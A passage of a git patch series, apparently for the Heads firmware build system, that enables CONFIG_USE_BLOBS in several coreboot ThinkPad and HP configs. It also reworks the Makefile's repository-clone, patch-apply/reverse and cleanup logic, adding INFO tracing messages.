CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_ROMSTAGE=y @@ -220,7 +222,6 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0036" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 928a66305..b0b9f1666 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 31fac8886..29926b778 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -224,7 +224,6 @@ CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index ea4ea1577..d9b307a33 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_ROMSTAGE=y @@ -220,7 +222,6 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN004A" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="DP3" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index b40a8be5b..6eaaa9ed4 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-x220.config b/config/coreboot-x220.config index c1f5ebba0..42852d1c5 100644 --- a/config/coreboot-x220.config +++ b/config/coreboot-x220.config @@ -25,7 +25,7 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 1e288a217..742a62a11 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -25,7 +25,7 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 336170d9a..b9bbb1852 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -25,7 +25,7 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 2b44c3362..7c2453e77 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 6745203b1..ea9f5c9a1 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 228912457..c21ed9e22 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -370,7 +370,6 @@ CONFIG_SUPERIO_NUVOTON_NPCD378=y # # Embedded Controllers # -CONFIG_EC_DASHARO_EC_FLASH_SIZE=0x20000 # # Intel Firmware From eaebd8d3bf6f5b116af9e34961e7364e3fec5eeb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Apr 2025 12:32:20 -0400 Subject: [PATCH 583/619] Makefile: add console tracing output on coreboot git repo logic ("INFO: ") Signed-off-by: Thierry Laurion --- Makefile | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/Makefile b/Makefile index e53340979..8f089db23 100644 --- a/Makefile +++ b/Makefile @@ -400,27 +400,33 @@ define define_module = # module-specific cleanup action to get rid of it. $(build)/$($1_base_dir)/.canary: FORCE if [ ! -e "$$@" ]; then \ + echo "INFO: .canary file not found. Cloning repository $($1_repo) into $(build)/$($1_base_dir)"; \ git clone $($1_repo) "$(build)/$($1_base_dir)"; \ + echo "INFO: Resetting repository to commit $($1_commit_hash)"; \ git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash); \ + echo "INFO: Creating .canary file with repo and commit hash"; \ echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ elif [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ - echo "Switching $1 to $($1_repo) at $($1_commit_hash)" && \ + echo "INFO: Canary file differs. Switching $1 to $($1_repo) at $($1_commit_hash)"; \ git -C "$(build)/$($1_base_dir)" reset --hard HEAD^ && \ - echo "git fetch $($1_repo) $($1_commit_hash) --recurse-submodules=no" && \ + echo "INFO: Fetching commit $($1_commit_hash) from $($1_repo) (without recursing submodules)"; \ git -C "$(build)/$($1_base_dir)" fetch $($1_repo) $($1_commit_hash) --recurse-submodules=no && \ - echo "git reset --hard $($1_commit_hash)" && \ - git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && \ - echo "git clean" && \ + echo "INFO: Resetting repository to commit $($1_commit_hash)"; \ + git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash); \ + echo "INFO: Cleaning repository directory (including payloads and util/cbmem)"; \ git -C "$(build)/$($1_base_dir)" clean -df && \ git -C "$(build)/$($1_base_dir)" clean -dffx payloads util/cbmem && \ - echo "git submodule sync" && \ + echo "INFO: Synchronizing submodules"; \ git -C "$(build)/$($1_base_dir)" submodule sync && \ - echo "git submodule update" && \ + echo "INFO: Updating submodules (init and checkout)"; \ git -C "$(build)/$($1_base_dir)" submodule update --init --checkout && \ + echo "INFO: Updating .canary file with new repo info"; \ echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ fi if [ ! -e "$(build)/$($1_base_dir)/.patched" ]; then \ + echo "INFO: .patched file not found. Beginning patch application for $1"; \ if [ -r patches/$($1_patch_name).patch ]; then \ + echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..."; \ ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) ) \ < patches/$($1_patch_name).patch \ || exit 1 ; \ @@ -434,6 +440,7 @@ define define_module = || exit 1 ; \ done ; \ fi && \ + echo "INFO: Patches applied successfully. Creating .patched file"; \ touch "$(build)/$($1_base_dir)/.patched"; \ fi else From 2c13d63a854db64127eec3d362bc3bd9e1580cb9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 8 Apr 2025 13:40:50 -0400 Subject: [PATCH 584/619] Makefiles: add overwrite_canary_if_coreboot_git function and use it in dev cycle helpers Signed-off-by: Thierry Laurion --- Makefile | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 8f089db23..271dd4e87 100644 --- a/Makefile +++ b/Makefile @@ -894,8 +894,25 @@ $(board_build)/$(CB_OUTPUT_BASENAME)-gpg-injected.rom: $(board_build)/$(CB_OUTPU "$(board_build)/$(CB_OUTPUT_FILE_GPG_INJ)" "$(PUBKEY_ASC)" + #Dev cycles helpers: + +# Helper function to overwrite coreboot git repo's .canary file with a bogus commit (.canary checked for matching commit on build) +# TODO: Implement a cleaner solution to ensure files created by patches are properly deleted instead of requiring manual intervention. +define overwrite_canary_if_coreboot_git + @echo "Checking for coreboot directory: build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)" + if [ -d "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)" ] && \ + [ -d "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.git" ]; then \ + echo "INFO: Recreating .canary file for 'build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)' with placeholder."; \ + echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary"; \ + echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts."; \ + else \ + echo "INFO: Coreboot directory or .git not found, skipping .canary overwrite."; \ + fi +endef + real.clean: + @echo "Cleaning build artifacts and install directories, leaving crossgcc intact." for dir in \ $(module_dirs) \ $(kernel_headers) \ @@ -905,15 +922,19 @@ real.clean: fi; \ done cd install && rm -rf -- * + $(call overwrite_canary_if_coreboot_git) + real.gitclean: @echo "Cleaning the repository using Git ignore file as a base..." @echo "This will wipe everything not in the Git tree, but keep downloaded coreboot forks (detected as Git repos)." git clean -fxd + $(call overwrite_canary_if_coreboot_git) real.gitclean_keep_packages: @echo "Cleaning the repository using Git ignore file as a base..." @echo "This will wipe everything not in the Git tree, but keep the 'packages' directory." git clean -fxd -e "packages" + $(call overwrite_canary_if_coreboot_git) real.remove_canary_files-extract_patch_rebuild_what_changed: @echo "Removing 'canary' files to force Heads to restart building board configurations..." @@ -925,9 +946,11 @@ real.remove_canary_files-extract_patch_rebuild_what_changed: @echo "Only a minimal time is needed for rebuilding, which is also good for your SSD." @echo "*** USE THIS APPROACH FIRST ***" find ./build/ -type f -name ".canary" -print -delete - find ./install/*/* -print -exec rm -rf {} + + find ./install/*/* -print -exec rm -rf {} + 2>/dev/null || true + $(call overwrite_canary_if_coreboot_git) real.gitclean_keep_packages_and_build: @echo "Cleaning the repository using Git ignore file as a base..." @echo "This will wipe everything not in the Git tree, but keep the 'packages' and 'build' directories." git clean -fxd -e "packages" -e "build" + $(call overwrite_canary_if_coreboot_git) From 039ec8ae7a35047cd4af1b08e4fe6367efa39708 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 8 Apr 2025 15:14:09 -0400 Subject: [PATCH 585/619] Makefiles: real.remove_canary_files-extract_patch_rebuild_what_changed updated so that it wipes things correctly Signed-off-by: Thierry Laurion --- Makefile | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/Makefile b/Makefile index 271dd4e87..997640b72 100644 --- a/Makefile +++ b/Makefile @@ -906,6 +906,29 @@ define overwrite_canary_if_coreboot_git echo "INFO: Recreating .canary file for 'build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)' with placeholder."; \ echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary"; \ echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts."; \ + echo "INFO: Reversing patches dynamically in reverse order."; \ + failed_patches=""; \ + for patch in $(shell ls patches/coreboot-$(CONFIG_COREBOOT_VERSION)/*.patch | sort -r); do \ + echo "INFO: Reversing patch file: $$patch"; \ + if ! ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ); then \ + echo "WARNING: Failed to reverse patch file: $$patch"; \ + failed_patches="$$failed_patches $$patch"; \ + fi; \ + done; \ + if [ -r patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ]; then \ + echo "INFO: Reversing main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch."; \ + if ! ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ); then \ + echo "WARNING: Failed to reverse main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch"; \ + failed_patches="$$failed_patches patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch"; \ + fi; \ + fi; \ + if [ -n "$$failed_patches" ]; then \ + echo "WARNING: The following patches failed to reverse: $$failed_patches"; \ + else \ + echo "INFO: All patches reversed successfully."; \ + fi; \ + echo "INFO: Removing .patched file to allow reapplication of patches."; \ + rm -f "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.patched"; \ else \ echo "INFO: Coreboot directory or .git not found, skipping .canary overwrite."; \ fi From 5226db35bc7ffed139fadcae1725b0a32f64ae60 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 8 Apr 2025 16:36:20 -0400 Subject: [PATCH 586/619] modules/coreboot: make sure coreboot_dir artifacts (board coreboot's objdir) is wiped clean on each build so coreboot stages to be stitched are clean Signed-off-by: Thierry Laurion --- Makefile | 82 ++++++++++++++++++++++++++++-------------------- modules/coreboot | 1 + 2 files changed, 49 insertions(+), 34 deletions(-) diff --git a/Makefile b/Makefile index 997640b72..b1194995a 100644 --- a/Makefile +++ b/Makefile @@ -427,17 +427,21 @@ define define_module = echo "INFO: .patched file not found. Beginning patch application for $1"; \ if [ -r patches/$($1_patch_name).patch ]; then \ echo "INFO: Found patch file patches/$($1_patch_name).patch. Applying patch..."; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) ) \ - < patches/$($1_patch_name).patch \ - || exit 1 ; \ + if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ + echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying."; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ + fi; \ fi && \ if [ -d patches/$($1_patch_name) ] && \ - [ -r patches/$($1_patch_name) ] ; then \ + [ -r patches/$($1_patch_name) ] || [ -n "$$(ls patches/$($1_patch_name)/*.patch 2>/dev/null)" ]; then \ for patch in patches/$($1_patch_name)/*.patch ; do \ echo "Applying patch file : $$$$patch " ; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) ) \ - < $$$$patch \ - || exit 1 ; \ + if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ + echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying."; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ + fi; \ done ; \ fi && \ echo "INFO: Patches applied successfully. Creating .patched file"; \ @@ -465,20 +469,42 @@ define define_module = mkdir -p "$$(dir $$@)" tar -xf "$(packages)/$($1_tar)" $(or $($1_tar_opt),--strip 1) -C "$$(dir $$@)" if [ -r patches/$($1_patch_name).patch ]; then \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) ) \ - < patches/$($1_patch_name).patch \ - || exit 1 ; \ + echo "INFO: Applying single patch file patches/$($1_patch_name).patch"; \ + if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ); then \ + echo "ERROR: Failed to apply patch patches/$($1_patch_name).patch. Reversing and reapplying."; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ + fi; \ fi - if [ -d patches/$($1_patch_name) ] && \ - [ -r patches/$($1_patch_name) ] ; then \ - for patch in patches/$($1_patch_name)/*.patch ; do \ - echo "Applying patch file : $$$$patch " ; \ - ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) ) \ - < $$$$patch \ - || exit 1 ; \ - done ; \ + if [ -d patches/$($1_patch_name) ]; then \ + for patch in patches/$($1_patch_name)/*.patch; do \ + echo "INFO: Applying patch file: $$$$patch"; \ + if ! ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ); then \ + echo "ERROR: Failed to apply patch $$$$patch. Reversing and reapplying."; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ + fi; \ + done; \ fi - @touch "$$@" + if [ ! -e "$$@" ] && [ -e "$(build)/$($1_base_dir)/.patched" ]; then \ + echo "INFO: .canary file not found but .patched exists. Reversing and reapplying patches for $1"; \ + if [ -r patches/$($1_patch_name).patch ]; then \ + echo "INFO: Reversing single patch file patches/$($1_patch_name).patch."; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || true; \ + echo "INFO: Reapplying single patch file patches/$($1_patch_name).patch."; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < patches/$($1_patch_name).patch ) || exit 1; \ + fi; \ + if [ -d patches/$($1_patch_name) ]; then \ + for patch in patches/$($1_patch_name)/*.patch; do \ + echo "INFO: Reversing patch file: $$$$patch"; \ + ( git apply --reverse --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || true; \ + echo "INFO: Reapplying patch file: $$$$patch"; \ + ( git apply --verbose --reject --binary --directory build/$(CONFIG_TARGET_ARCH)/$($1_base_dir) < $$$$patch ) || exit 1; \ + done; \ + fi; \ + rm -f "$(build)/$($1_base_dir)/.patched"; \ + fi + touch "$$@" endif # Allow the module to override the destination configuration file @@ -907,25 +933,13 @@ define overwrite_canary_if_coreboot_git echo BOGUS_COMMIT_ID > "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.canary"; \ echo "NOTE: If a patch fails to apply, some files might need to be deleted manually to resolve conflicts."; \ echo "INFO: Reversing patches dynamically in reverse order."; \ - failed_patches=""; \ - for patch in $(shell ls patches/coreboot-$(CONFIG_COREBOOT_VERSION)/*.patch | sort -r); do \ + for patch in $$(ls patches/coreboot-$(CONFIG_COREBOOT_VERSION)/*.patch 2>/dev/null | sort -r); do \ echo "INFO: Reversing patch file: $$patch"; \ - if ! ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ); then \ - echo "WARNING: Failed to reverse patch file: $$patch"; \ - failed_patches="$$failed_patches $$patch"; \ - fi; \ + ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < $$patch ) || true; \ done; \ if [ -r patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ]; then \ echo "INFO: Reversing main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch."; \ - if ! ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ); then \ - echo "WARNING: Failed to reverse main patch file patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch"; \ - failed_patches="$$failed_patches patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch"; \ - fi; \ - fi; \ - if [ -n "$$failed_patches" ]; then \ - echo "WARNING: The following patches failed to reverse: $$failed_patches"; \ - else \ - echo "INFO: All patches reversed successfully."; \ + ( git apply --reverse --verbose --reject --binary --directory build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION) < patches/coreboot-$(CONFIG_COREBOOT_VERSION).patch ) || true; \ fi; \ echo "INFO: Removing .patched file to allow reapplication of patches."; \ rm -f "build/${CONFIG_TARGET_ARCH}/coreboot-$(CONFIG_COREBOOT_VERSION)/.patched"; \ diff --git a/modules/coreboot b/modules/coreboot index 84b9f5130..f3bda07f6 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -150,6 +150,7 @@ endif $(coreboot_module)_configure := \ mkdir -p "$(build)/$(coreboot_dir)"; \ + rm -rf $(build)/$(coreboot_dir)/*; \ $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config); \ sed -i '/^CONFIG_LOCALVERSION/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_LOCALVERSION=$(CONFIG_COREBOOT_LOCALVERSION)' >> $(build)/$(coreboot_dir)/.config; \ From da38f7b98ef7acff56014d19e12acafe74d83e8e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 11 Apr 2025 10:31:03 -0400 Subject: [PATCH 587/619] Makefile: fix code blocks that need to all be ran subsequently without failing Signed-off-by: Thierry Laurion --- Makefile | 136 +++++++++++++++++++++++++++---------------------------- 1 file changed, 68 insertions(+), 68 deletions(-) diff --git a/Makefile b/Makefile index b1194995a..2d65bae68 100644 --- a/Makefile +++ b/Makefile @@ -400,52 +400,52 @@ define define_module = # module-specific cleanup action to get rid of it. $(build)/$($1_base_dir)/.canary: FORCE if [ ! -e "$$@" ]; then \ - echo "INFO: .canary file not found. Cloning repository $($1_repo) into $(build)/$($1_base_dir)"; \ - git clone $($1_repo) "$(build)/$($1_base_dir)"; \ - echo "INFO: Resetting repository to commit $($1_commit_hash)"; \ - git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash); \ - echo "INFO: Creating .canary file with repo and commit hash"; \ - echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ + echo "INFO: .canary file not found. Cloning repository $($1_repo) into $(build)/$($1_base_dir)" && \ + git clone $($1_repo) "$(build)/$($1_base_dir)" && \ + echo "INFO: Resetting repository to commit $($1_commit_hash)" && \ + git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && \ + echo "INFO: Creating .canary file with repo and commit hash" && \ + echo -n '$($1_repo)|$($1_commit_hash)' > "$$@" ; \ elif [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ - echo "INFO: Canary file differs. Switching $1 to $($1_repo) at $($1_commit_hash)"; \ + echo "INFO: Canary file differs. Switching $1 to $($1_repo) at $($1_commit_hash)" && \ git -C "$(build)/$($1_base_dir)" reset --hard HEAD^ && \ - echo "INFO: Fetching commit $($1_commit_hash) from $($1_repo) (without recursing submodules)"; \ + echo "INFO: Fetching commit $($1_commit_hash) from $($1_repo) (without recursing submodules)" && \ git -C "$(build)/$($1_base_dir)" fetch $($1_repo) $($1_commit_hash) --recurse-submodules=no && \ - echo "INFO: Resetting repository to commit $($1_commit_hash)"; \ - git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash); \ - echo "INFO: Cleaning repository directory (including payloads and util/cbmem)"; \ + echo "INFO: Resetting repository to commit $($1_commit_hash)" && \ + git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && \ + echo "INFO: Cleaning repository directory (including payloads and util/cbmem)" && \ git -C "$(build)/$($1_base_dir)" clean -df && \ git -C "$(build)/$($1_base_dir)" clean -dffx payloads util/cbmem && \ - echo "INFO: Synchronizing submodules"; \ + echo "INFO: Synchronizing submodules" && \ git -C "$(build)/$($1_base_dir)" submodule sync && \ - echo "INFO: Updating submodules (init and checkout)"; \ + echo "INFO: Updating submodules (init and checkout)" && \ git -C "$(build)/$($1_base_dir)" submodule update --init --checkout && \ - echo "INFO: Updating .canary file with new repo info"; \ - echo -n '$($1_repo)|$($1_commit_hash)' > "$$@"; \ + echo "INFO: Updating .canary file with new repo info" && \ + echo -n '$($1_repo)|$($1_commit_hash)' > "$$@" ; 